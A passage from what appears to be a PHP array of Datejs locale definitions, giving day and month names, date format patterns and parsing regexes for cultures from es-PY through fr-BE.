\'yyyy"},regexPatterns:{jan:/^ene(ro)?/i,feb:/^feb(rero)?/i,mar:/^mar(zo)?/i,apr:/^abr(il)?/i,may:/^may(o)?/i,jun:/^jun(io)?/i,jul:/^jul(io)?/i,aug:/^ago(sto)?/i,sep:/^sep(tiembre)?/i,oct:/^oct(ubre)?/i,nov:/^nov(iembre)?/i,dec:/^dic(iembre)?/i,sun:/^do(m(ingo)?)?/i,mon:/^lu(n(es)?)?/i,tue:/^ma(r(tes)?)?/i,wed:/^mi(é(rcoles)?)?/i,thu:/^ju(e(ves)?)?/i,fri:/^vi(e(rnes)?)?/i,sat:/^sá(b(ado)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'es-PY' => 'Date.CultureInfo={name:"es-PY",englishName:"Spanish (Paraguay)",nativeName:"Español (Paraguay)",dayNames:["domingo","lunes","martes","miércoles","jueves","viernes","sábado"],abbreviatedDayNames:["dom","lun","mar","mié","jue","vie","sáb"],shortestDayNames:["do","lu","ma","mi","ju","vi","sá"],firstLetterDayNames:["d","l","m","m","j","v","s"],monthNames:["enero","febrero","marzo","abril","mayo","junio","julio","agosto","septiembre","octubre","noviembre","diciembre"],abbreviatedMonthNames:["ene","feb","mar","abr","may","jun","jul","ago","sep","oct","nov","dic"],amDesignator:"a.m.",pmDesignator:"p.m.",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dddd, dd\' de \'MMMM\' de \'yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dddd, dd\' de \'MMMM\' de \'yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM\' de \'yyyy"},regexPatterns:{jan:/^ene(ro)?/i,feb:/^feb(rero)?/i,mar:/^mar(zo)?/i,apr:/^abr(il)?/i,may:/^may(o)?/i,jun:/^jun(io)?/i,jul:/^jul(io)?/i,aug:/^ago(sto)?/i,sep:/^sep(tiembre)?/i,oct:/^oct(ubre)?/i,nov:/^nov(iembre)?/i,dec:/^dic(iembre)?/i,sun:/^do(m(ingo)?)?/i,mon:/^lu(n(es)?)?/i,tue:/^ma(r(tes)?)?/i,wed:/^mi(é(rcoles)?)?/i,thu:/^ju(e(ves)?)?/i,fri:/^vi(e(rnes)?)?/i,sat:/^sá(b(ado)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'es-SV' => 'Date.CultureInfo={name:"es-SV",englishName:"Spanish (El Salvador)",nativeName:"Español (El Salvador)",dayNames:["domingo","lunes","martes","miércoles","jueves","viernes","sábado"],abbreviatedDayNames:["dom","lun","mar","mié","jue","vie","sáb"],shortestDayNames:["do","lu","ma","mi","ju","vi","sá"],firstLetterDayNames:["d","l","m","m","j","v","s"],monthNames:["enero","febrero","marzo","abril","mayo","junio","julio","agosto","septiembre","octubre","noviembre","diciembre"],abbreviatedMonthNames:["ene","feb","mar","abr","may","jun","jul","ago","sep","oct","nov","dic"],amDesignator:"a.m.",pmDesignator:"p.m.",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dddd, dd\' de \'MMMM\' de \'yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dddd, dd\' de \'MMMM\' de \'yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM\' de \'yyyy"},regexPatterns:{jan:/^ene(ro)?/i,feb:/^feb(rero)?/i,mar:/^mar(zo)?/i,apr:/^abr(il)?/i,may:/^may(o)?/i,jun:/^jun(io)?/i,jul:/^jul(io)?/i,aug:/^ago(sto)?/i,sep:/^sep(tiembre)?/i,oct:/^oct(ubre)?/i,nov:/^nov(iembre)?/i,dec:/^dic(iembre)?/i,sun:/^do(m(ingo)?)?/i,mon:/^lu(n(es)?)?/i,tue:/^ma(r(tes)?)?/i,wed:/^mi(é(rcoles)?)?/i,thu:/^ju(e(ves)?)?/i,fri:/^vi(e(rnes)?)?/i,sat:/^sá(b(ado)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'es-UY' => 'Date.CultureInfo={name:"es-UY",englishName:"Spanish (Uruguay)",nativeName:"Español (Uruguay)",dayNames:["domingo","lunes","martes","miércoles","jueves","viernes","sábado"],abbreviatedDayNames:["dom","lun","mar","mié","jue","vie","sáb"],shortestDayNames:["do","lu","ma","mi","ju","vi","sá"],firstLetterDayNames:["d","l","m","m","j","v","s"],monthNames:["enero","febrero","marzo","abril","mayo","junio","julio","agosto","septiembre","octubre","noviembre","diciembre"],abbreviatedMonthNames:["ene","feb","mar","abr","may","jun","jul","ago","sep","oct","nov","dic"],amDesignator:"a.m.",pmDesignator:"p.m.",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dddd, dd\' de \'MMMM\' de \'yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dddd, dd\' de \'MMMM\' de \'yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM\' de \'yyyy"},regexPatterns:{jan:/^ene(ro)?/i,feb:/^feb(rero)?/i,mar:/^mar(zo)?/i,apr:/^abr(il)?/i,may:/^may(o)?/i,jun:/^jun(io)?/i,jul:/^jul(io)?/i,aug:/^ago(sto)?/i,sep:/^sep(tiembre)?/i,oct:/^oct(ubre)?/i,nov:/^nov(iembre)?/i,dec:/^dic(iembre)?/i,sun:/^do(m(ingo)?)?/i,mon:/^lu(n(es)?)?/i,tue:/^ma(r(tes)?)?/i,wed:/^mi(é(rcoles)?)?/i,thu:/^ju(e(ves)?)?/i,fri:/^vi(e(rnes)?)?/i,sat:/^sá(b(ado)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'es-VE' => 'Date.CultureInfo={name:"es-VE",englishName:"Spanish (Venezuela)",nativeName:"Español (Republica Bolivariana de Venezuela)",dayNames:["domingo","lunes","martes","miércoles","jueves","viernes","sábado"],abbreviatedDayNames:["dom","lun","mar","mié","jue","vie","sáb"],shortestDayNames:["do","lu","ma","mi","ju","vi","sá"],firstLetterDayNames:["d","l","m","m","j","v","s"],monthNames:["enero","febrero","marzo","abril","mayo","junio","julio","agosto","septiembre","octubre","noviembre","diciembre"],abbreviatedMonthNames:["ene","feb","mar","abr","may","jun","jul","ago","sep","oct","nov","dic"],amDesignator:"a.m.",pmDesignator:"p.m.",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dddd, dd\' de \'MMMM\' de \'yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dddd, dd\' de \'MMMM\' de \'yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM\' de \'yyyy"},regexPatterns:{jan:/^ene(ro)?/i,feb:/^feb(rero)?/i,mar:/^mar(zo)?/i,apr:/^abr(il)?/i,may:/^may(o)?/i,jun:/^jun(io)?/i,jul:/^jul(io)?/i,aug:/^ago(sto)?/i,sep:/^sep(tiembre)?/i,oct:/^oct(ubre)?/i,nov:/^nov(iembre)?/i,dec:/^dic(iembre)?/i,sun:/^do(m(ingo)?)?/i,mon:/^lu(n(es)?)?/i,tue:/^ma(r(tes)?)?/i,wed:/^mi(é(rcoles)?)?/i,thu:/^ju(e(ves)?)?/i,fri:/^vi(e(rnes)?)?/i,sat:/^sá(b(ado)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'et-EE' => 'Date.CultureInfo={name:"et-EE",englishName:"Estonian (Estonia)",nativeName:"eesti (Eesti)",dayNames:["pühapäev","esmaspäev","teisipäev","kolmapäev","neljapäev","reede","laupäev"],abbreviatedDayNames:["P","E","T","K","N","R","L"],shortestDayNames:["P","E","T","K","N","R","L"],firstLetterDayNames:["P","E","T","K","N","R","L"],monthNames:["jaanuar","veebruar","märts","aprill","mai","juuni","juuli","august","september","oktoober","november","detsember"],abbreviatedMonthNames:["jaan","veebr","märts","apr","mai","juuni","juuli","aug","sept","okt","nov","dets"],amDesignator:"EL",pmDesignator:"PL",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"d.MM.yyyy",longDate:"d. MMMM yyyy\'. a.\'",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"d. MMMM yyyy\'. a.\' H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d. MMMM",yearMonth:"MMMM yyyy\'. a.\'"},regexPatterns:{jan:/^jaan(uar)?/i,feb:/^veebr(uar)?/i,mar:/^märts/i,apr:/^apr(ill)?/i,may:/^mai/i,jun:/^juuni/i,jul:/^juuli/i,aug:/^aug(ust)?/i,sep:/^sep(t(ember)?)?/i,oct:/^okt(oober)?/i,nov:/^nov(ember)?/i,dec:/^dets(ember)?/i,sun:/^pühapäev/i,mon:/^esmaspäev/i,tue:/^teisipäev/i,wed:/^kolmapäev/i,thu:/^neljapäev/i,fri:/^reede/i,sat:/^laupäev/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'eu-ES' => 'Date.CultureInfo={name:"eu-ES",englishName:"Basque (Basque)",nativeName:"euskara (euskara)",dayNames:["igandea","astelehena","asteartea","asteazkena","osteguna","ostirala","larunbata"],abbreviatedDayNames:["ig.","al.","as.","az.","og.","or.","lr."],shortestDayNames:["ig","al","as","az","og","or","lr"],firstLetterDayNames:["i","a","a","a","o","o","l"],monthNames:["urtarrila","otsaila","martxoa","apirila","maiatza","ekaina","uztaila","abuztua","iraila","urria","azaroa","abendua"],abbreviatedMonthNames:["urt.","ots.","mar.","api.","mai.","eka.","uzt.","abu.","ira.","urr.","aza.","abe."],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"ymd",formatPatterns:{shortDate:"yyyy/MM/dd",longDate:"dddd, yyyy.\'eko\' MMMM\'k \'d",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"dddd, yyyy.\'eko\' MMMM\'k \'d HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"yyyy.\'eko\' MMMM"},regexPatterns:{jan:/^urt(.(arrila)?)?/i,feb:/^ots(.(aila)?)?/i,mar:/^mar(.(txoa)?)?/i,apr:/^api(.(rila)?)?/i,may:/^mai(.(atza)?)?/i,jun:/^eka(.(ina)?)?/i,jul:/^uzt(.(aila)?)?/i,aug:/^abu(.(ztua)?)?/i,sep:/^ira(.(ila)?)?/i,oct:/^urr(.(ia)?)?/i,nov:/^aza(.(roa)?)?/i,dec:/^abe(.(ndua)?)?/i,sun:/^ig((.(andea)?)?)?/i,mon:/^al((.(telehena)?)?)?/i,tue:/^as((.(teartea)?)?)?/i,wed:/^az((.(teazkena)?)?)?/i,thu:/^og((.(teguna)?)?)?/i,fri:/^or((.(tirala)?)?)?/i,sat:/^lr((.(runbata)?)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'fa-IR' => 'Date.CultureInfo={name:"fa-IR",englishName:"Persian (Iran)",nativeName:"فارسى (ايران)",dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],abbreviatedDayNames:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],shortestDayNames:["Su","Mo","Tu","We","Th","Fr","Sa"],firstLetterDayNames:["S","M","T","W","T","F","S"],monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],abbreviatedMonthNames:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],amDesignator:"ق.ظ",pmDesignator:"ب.ظ",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"mdy",formatPatterns:{shortDate:"M/d/yyyy",longDate:"dddd, MMMM dd, yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dddd, MMMM dd, yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^jan(uary)?/i,feb:/^feb(ruary)?/i,mar:/^mar(ch)?/i,apr:/^apr(il)?/i,may:/^may/i,jun:/^jun(e)?/i,jul:/^jul(y)?/i,aug:/^aug(ust)?/i,sep:/^sep(t(ember)?)?/i,oct:/^oct(ober)?/i,nov:/^nov(ember)?/i,dec:/^dec(ember)?/i,sun:/^su(n(day)?)?/i,mon:/^mo(n(day)?)?/i,tue:/^tu(e(s(day)?)?)?/i,wed:/^we(d(nesday)?)?/i,thu:/^th(u(r(s(day)?)?)?)?/i,fri:/^fr(i(day)?)?/i,sat:/^sa(t(urday)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'fi-FI' => 'Date.CultureInfo={name:"fi-FI",englishName:"Finnish (Finland)",nativeName:"suomi (Suomi)",dayNames:["sunnuntai","maanantai","tiistai","keskiviikko","torstai","perjantai","lauantai"],abbreviatedDayNames:["su","ma","ti","ke","to","pe","la"],shortestDayNames:["su","ma","ti","ke","to","pe","la"],firstLetterDayNames:["s","m","t","k","t","p","l"],monthNames:["tammikuu","helmikuu","maaliskuu","huhtikuu","toukokuu","kesäkuu","heinäkuu","elokuu","syyskuu","lokakuu","marraskuu","joulukuu"],abbreviatedMonthNames:["tammi","helmi","maalis","huhti","touko","kesä","heinä","elo","syys","loka","marras","joulu"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"d.M.yyyy",longDate:"d. MMMM\'ta \'yyyy",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"d. MMMM\'ta \'yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d. MMMM\'ta\'",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^tammi(kuu)?/i,feb:/^helmi(kuu)?/i,mar:/^maalis(kuu)?/i,apr:/^huhti(kuu)?/i,may:/^touko(kuu)?/i,jun:/^kesä(kuu)?/i,jul:/^heinä(kuu)?/i,aug:/^elo(kuu)?/i,sep:/^syys(kuu)?/i,oct:/^loka(kuu)?/i,nov:/^marras(kuu)?/i,dec:/^joulu(kuu)?/i,sun:/^sunnuntai/i,mon:/^maanantai/i,tue:/^tiistai/i,wed:/^keskiviikko/i,thu:/^torstai/i,fri:/^perjantai/i,sat:/^lauantai/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'fo-FO' => 'Date.CultureInfo={name:"fo-FO",englishName:"Faroese (Faroe Islands)",nativeName:"føroyskt (Føroyar)",dayNames:["sunnudagur","mánadagur","týsdagur","mikudagur","hósdagur","fríggjadagur","leygardagur"],abbreviatedDayNames:["sun","mán","týs","mik","hós","frí","leyg"],shortestDayNames:["su","má","tý","mi","hó","fr","ley"],firstLetterDayNames:["s","m","t","m","h","f","l"],monthNames:["januar","februar","mars","apríl","mai","juni","juli","august","september","oktober","november","desember"],abbreviatedMonthNames:["jan","feb","mar","apr","mai","jun","jul","aug","sep","okt","nov","des"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd-MM-yyyy",longDate:"d. MMMM yyyy",shortTime:"HH.mm",longTime:"HH.mm.ss",fullDateTime:"d. MMMM yyyy HH.mm.ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d. MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^jan(uar)?/i,feb:/^feb(ruar)?/i,mar:/^mar(s)?/i,apr:/^apr(íl)?/i,may:/^mai/i,jun:/^jun(i)?/i,jul:/^jul(i)?/i,aug:/^aug(ust)?/i,sep:/^sep(t(ember)?)?/i,oct:/^okt(ober)?/i,nov:/^nov(ember)?/i,dec:/^des(ember)?/i,sun:/^su(n(nudagur)?)?/i,mon:/^má(n(adagur)?)?/i,tue:/^tý(s(dagur)?)?/i,wed:/^mi(k(udagur)?)?/i,thu:/^hó(s(dagur)?)?/i,fri:/^fr(í(ggjadagur)?)?/i,sat:/^ley(g(ardagur)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'fr-BE' => 'Date.CultureInfo={name:"fr-BE",englishName:"French (Belgium)",nativeName:"français (Belgique)",dayNames:["dimanche","lundi","mardi","mercredi","jeudi","vendredi","samedi"],abbreviatedDayNames:["dim.","lun.","mar.","mer.","jeu.","ven.","sam."],shortestDayNames:["di","lu","ma","me","je","ve","sa"],firstLetterDayNames:["d","l","m","m","j","v","s"],monthNames:["janvier","février","mars","avril","mai","juin","juillet","août","septembre","octobre","novembre","décembre"],abbreviatedMonthNames:["janv.","févr.","mars","avr.","mai","juin","juil.","août","sept.","oct.","nov.","déc."],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"d/MM/yyyy",longDate:"dddd d MMMM yyyy",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"dddd d MMMM yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d MMMM",yearMonth:"MMMM 